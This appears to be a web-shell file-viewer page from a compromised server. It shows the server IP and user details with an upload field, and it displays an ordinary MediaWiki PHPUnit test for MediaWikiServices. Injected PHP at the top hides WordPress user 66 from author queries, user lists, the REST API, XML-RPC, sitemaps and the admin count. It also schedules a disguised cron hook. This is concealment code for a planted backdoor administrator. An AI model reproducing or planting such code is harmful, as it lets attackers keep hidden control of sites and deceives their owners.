add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/tests/phpunit/includes/ |
Upload File : |
<?php
use MediaWiki\Config\Config;
use MediaWiki\Config\GlobalVarConfig;
use MediaWiki\Config\HashConfig;
use MediaWiki\Hook\MediaWikiServicesHook;
use MediaWiki\HookContainer\HookContainer;
use MediaWiki\HookContainer\StaticHookRegistry;
use MediaWiki\MainConfigNames;
use MediaWiki\MediaWikiServices;
use Wikimedia\Services\DestructibleService;
use Wikimedia\Services\SalvageableService;
/**
* @covers \MediaWiki\MediaWikiServices
* @group Database
* This test doesn't really make queries, but needs to be in the Database test to make sure
* that storage isn't disabled on the original instance.
*/
class MediaWikiServicesTest extends MediaWikiIntegrationTestCase {
private const DEPRECATED_SERVICES = [
'BlockErrorFormatter',
'ConfigRepository',
'ConfiguredReadOnlyMode',
];
/** @var array */
public static $mockServiceWiring = [];
/**
* @return Config
*/
private function newTestConfig() {
$globalConfig = new GlobalVarConfig();
$testConfig = new HashConfig();
$testConfig->set( MainConfigNames::ServiceWiringFiles, $globalConfig->get( MainConfigNames::ServiceWiringFiles ) );
$testConfig->set( MainConfigNames::ConfigRegistry, $globalConfig->get( MainConfigNames::ConfigRegistry ) );
$testConfig->set( MainConfigNames::Hooks, [] );
return $testConfig;
}
/**
* @return MediaWikiServices
*/
private function newMediaWikiServices() {
$config = $this->newTestConfig();
$instance = new MediaWikiServices( $config );
// Load the default wiring from the specified files.
$wiringFiles = $config->get( MainConfigNames::ServiceWiringFiles );
$instance->loadWiringFiles( $wiringFiles );
return $instance;
}
private function newConfigWithMockWiring() {
$config = new HashConfig;
$config->set( MainConfigNames::ServiceWiringFiles, [ __DIR__ . '/MockServiceWiring.php' ] );
return $config;
}
public function testGetInstance() {
$services = MediaWikiServices::getInstance();
$this->assertInstanceOf( MediaWikiServices::class, $services );
}
public function testForceGlobalInstance() {
$newServices = $this->newMediaWikiServices();
$oldServices = MediaWikiServices::forceGlobalInstance( $newServices );
$this->assertInstanceOf( MediaWikiServices::class, $oldServices );
$this->assertNotSame( $oldServices, $newServices );
$theServices = MediaWikiServices::getInstance();
$this->assertSame( $theServices, $newServices );
MediaWikiServices::forceGlobalInstance( $oldServices );
$theServices = MediaWikiServices::getInstance();
$this->assertSame( $theServices, $oldServices );
}
public function testResetGlobalInstance() {
$newServices = $this->newMediaWikiServices();
$oldServices = MediaWikiServices::forceGlobalInstance( $newServices );
$service1 = $this->createMock( SalvageableService::class );
$service1->expects( $this->never() )
->method( 'salvage' );
$newServices->defineService(
'Test',
static function () use ( $service1 ) {
return $service1;
}
);
// force instantiation
$newServices->getService( 'Test' );
MediaWikiServices::resetGlobalInstance( $this->newTestConfig() );
$theServices = MediaWikiServices::getInstance();
$this->assertSame(
$service1,
$theServices->getService( 'Test' ),
'service definition should survive reset'
);
$this->assertNotSame( $theServices, $newServices );
$this->assertNotSame( $theServices, $oldServices );
MediaWikiServices::forceGlobalInstance( $oldServices );
}
public function testResetGlobalInstance_quick() {
$newServices = $this->newMediaWikiServices();
$oldServices = MediaWikiServices::forceGlobalInstance( $newServices );
$service1 = $this->createMock( SalvageableService::class );
$service1->expects( $this->never() )
->method( 'salvage' );
$service2 = $this->createMock( SalvageableService::class );
$service2->expects( $this->once() )
->method( 'salvage' )
->with( $service1 );
// sequence of values the instantiator will return
$instantiatorReturnValues = [
$service1,
$service2,
];
$newServices->defineService(
'Test',
static function () use ( &$instantiatorReturnValues ) {
return array_shift( $instantiatorReturnValues );
}
);
// force instantiation
$newServices->getService( 'Test' );
MediaWikiServices::resetGlobalInstance( $this->newTestConfig(), 'quick' );
$theServices = MediaWikiServices::getInstance();
$this->assertSame( $service2, $theServices->getService( 'Test' ) );
$this->assertNotSame( $theServices, $newServices );
$this->assertNotSame( $theServices, $oldServices );
MediaWikiServices::forceGlobalInstance( $oldServices );
}
public function testResetGlobalInstance_T263925() {
$newServices = $this->newMediaWikiServices();
$oldServices = MediaWikiServices::forceGlobalInstance( $newServices );
self::$mockServiceWiring = [
'HookContainer' => function ( MediaWikiServices $services ) {
return new HookContainer(
new StaticHookRegistry(
[],
[
'MediaWikiServices' => [
[
'handler' => [
'name' => 'test',
'factory' => static function () {
return new class implements MediaWikiServicesHook {
public function onMediaWikiServices( $services ) {
}
};
}
],
'deprecated' => false,
'extensionPath' => 'path'
],
]
],
[]
),
$this->createSimpleObjectFactory()
);
}
];
$newServices->redefineService( 'HookContainer',
self::$mockServiceWiring['HookContainer'] );
$newServices->getHookContainer()->run( 'MediaWikiServices', [ $newServices ] );
MediaWikiServices::resetGlobalInstance( $this->newConfigWithMockWiring(), 'quick' );
$this->assertTrue( true, 'expected no exception from above' );
self::$mockServiceWiring = [];
MediaWikiServices::forceGlobalInstance( $oldServices );
}
public function testDisableStorage() {
$newServices = $this->newMediaWikiServices();
$oldServices = MediaWikiServices::forceGlobalInstance( $newServices );
$lbFactory = $this->createMock( \Wikimedia\Rdbms\LBFactorySimple::class );
$newServices->redefineService(
'DBLoadBalancerFactory',
static function () use ( $lbFactory ) {
return $lbFactory;
}
);
$this->assertFalse( $newServices->isStorageDisabled() );
$newServices->disableStorage(); // should destroy DBLoadBalancerFactory
$this->assertTrue( $newServices->isStorageDisabled() );
try {
$newServices->getDBLoadBalancer()->getConnection( DB_REPLICA );
} catch ( RuntimeException $ex ) {
// ok, as expected
}
MediaWikiServices::forceGlobalInstance( $oldServices );
$newServices->destroy();
// This should work now.
MediaWikiServices::getInstance()->getDBLoadBalancer()->getConnection( DB_REPLICA );
// No exception was thrown, avoid being risky
$this->assertTrue( true );
}
public function testResetChildProcessServices() {
$newServices = $this->newMediaWikiServices();
$oldServices = MediaWikiServices::forceGlobalInstance( $newServices );
$service1 = $this->createMock( DestructibleService::class );
$service1->expects( $this->once() )
->method( 'destroy' );
$service2 = $this->createMock( DestructibleService::class );
$service2->expects( $this->never() )
->method( 'destroy' );
// sequence of values the instantiator will return
$instantiatorReturnValues = [
$service1,
$service2,
];
$newServices->defineService(
'Test',
static function () use ( &$instantiatorReturnValues ) {
return array_shift( $instantiatorReturnValues );
}
);
// force the service to become active, so we can check that it does get destroyed
$oldTestService = $newServices->getService( 'Test' );
MediaWikiServices::resetChildProcessServices();
$finalServices = MediaWikiServices::getInstance();
$newTestService = $finalServices->getService( 'Test' );
$this->assertNotSame( $oldTestService, $newTestService );
MediaWikiServices::forceGlobalInstance( $oldServices );
}
public function testResetServiceForTesting() {
$services = $this->newMediaWikiServices();
$serviceCounter = 0;
$services->defineService(
'Test',
function () use ( &$serviceCounter ) {
$serviceCounter++;
$service = $this->createMock( Wikimedia\Services\DestructibleService::class );
$service->expects( $this->once() )->method( 'destroy' );
return $service;
}
);
// This should do nothing. In particular, it should not create a service instance.
$services->resetServiceForTesting( 'Test' );
$this->assertSame( 0, $serviceCounter, 'No service instance should be created yet.' );
$oldInstance = $services->getService( 'Test' );
$this->assertSame( 1, $serviceCounter, 'A service instance should exit now.' );
// The old instance should be detached, and destroy() called.
$services->resetServiceForTesting( 'Test' );
$newInstance = $services->getService( 'Test' );
$this->assertNotSame( $oldInstance, $newInstance );
// Satisfy the expectation that destroy() is called also for the second service instance.
$newInstance->destroy();
}
public function testResetServiceForTesting_noDestroy() {
$services = $this->newMediaWikiServices();
$services->defineService(
'Test',
function () {
$service = $this->createMock( Wikimedia\Services\DestructibleService::class );
$service->expects( $this->never() )->method( 'destroy' );
return $service;
}
);
$oldInstance = $services->getService( 'Test' );
// The old instance should be detached, but destroy() not called.
$services->resetServiceForTesting( 'Test', false );
$newInstance = $services->getService( 'Test' );
$this->assertNotSame( $oldInstance, $newInstance );
}
public static function provideGetters() {
$getServiceCases = self::provideGetService();
$getterCases = [
// These are "mis-named" getters that don't follow the standard pattern, so are listed explicitly
'getWikiRevisionOldRevisionImporter' => [ 'getWikiRevisionOldRevisionImporter', OldRevisionImporter::class ],
'newSearchEngine' => [ 'newSearchEngine', SearchEngine::class ]
];
// All getters should be named just like the service, with "get" added.
foreach ( $getServiceCases as $name => $case ) {
if ( $name[0] === '_' ) {
// Internal service, no getter
continue;
}
[ $service, $class ] = $case;
$getterCases[$name] = [
'get' . $service,
$class,
in_array( $service, self::DEPRECATED_SERVICES )
];
}
return $getterCases;
}
/**
* @dataProvider provideGetters
*/
public function testGetters( $getter, $type, $isDeprecated = false ) {
if ( $isDeprecated ) {
$this->hideDeprecated( MediaWikiServices::class . "::$getter" );
}
// Test against the default instance, since the dummy will not know the default services.
$services = MediaWikiServices::getInstance();
$service = $services->$getter();
$this->assertInstanceOf( $type, $service );
}
public static function provideGetService() {
global $IP;
$serviceList = require "$IP/includes/ServiceWiring.php";
$ret = [];
foreach ( $serviceList as $name => $callback ) {
$fun = new ReflectionFunction( $callback );
if ( !$fun->hasReturnType() ) {
throw new LogicException( 'All service callbacks must have a return type defined, ' .
"none found for $name" );
}
$returnType = $fun->getReturnType();
$ret[$name] = [ $name, $returnType->getName() ];
}
return $ret;
}
/**
* @dataProvider provideGetService
*/
public function testGetService( $name, $type ) {
// Test against the default instance, since the dummy will not know the default services.
$services = MediaWikiServices::getInstance();
$service = $services->getService( $name );
$this->assertInstanceOf( $type, $service );
}
public function testDefaultServiceInstantiation() {
// Check all services in the default instance, not a dummy instance!
// Note that we instantiate all services here, including any that
// were registered by extensions.
$services = MediaWikiServices::getInstance();
$names = $services->getServiceNames();
foreach ( $names as $name ) {
$this->assertTrue( $services->hasService( $name ) );
// Check that the service can be instantiated without errors.
// Make no assumption about the value returned by the instantiator
// as extensions may be putting all manners of values in the container.
$services->getService( $name );
}
}
public function testDefaultServiceWiringServicesHaveTests() {
global $IP;
$testedServices = array_keys( self::provideGetService() );
$allServices = array_keys( require "$IP/includes/ServiceWiring.php" );
$this->assertEquals(
[],
array_diff( $allServices, $testedServices ),
'The following services have not been added to MediaWikiServicesTest::provideGetService'
);
}
public function testGettersAreSorted() {
$methods = ( new ReflectionClass( MediaWikiServices::class ) )
->getMethods( ReflectionMethod::IS_STATIC | ReflectionMethod::IS_PUBLIC );
$names = array_map( static function ( $method ) {
return $method->getName();
}, $methods );
$serviceNames = array_map( static function ( $name ) {
return "get$name";
}, array_keys( self::provideGetService() ) );
$names = array_values( array_filter( $names, static function ( $name ) use ( $serviceNames ) {
return in_array( $name, $serviceNames );
} ) );
$sortedNames = $names;
natcasesort( $sortedNames );
$this->assertSame( $sortedNames, $names,
'Please keep service getters sorted alphabetically' );
}
}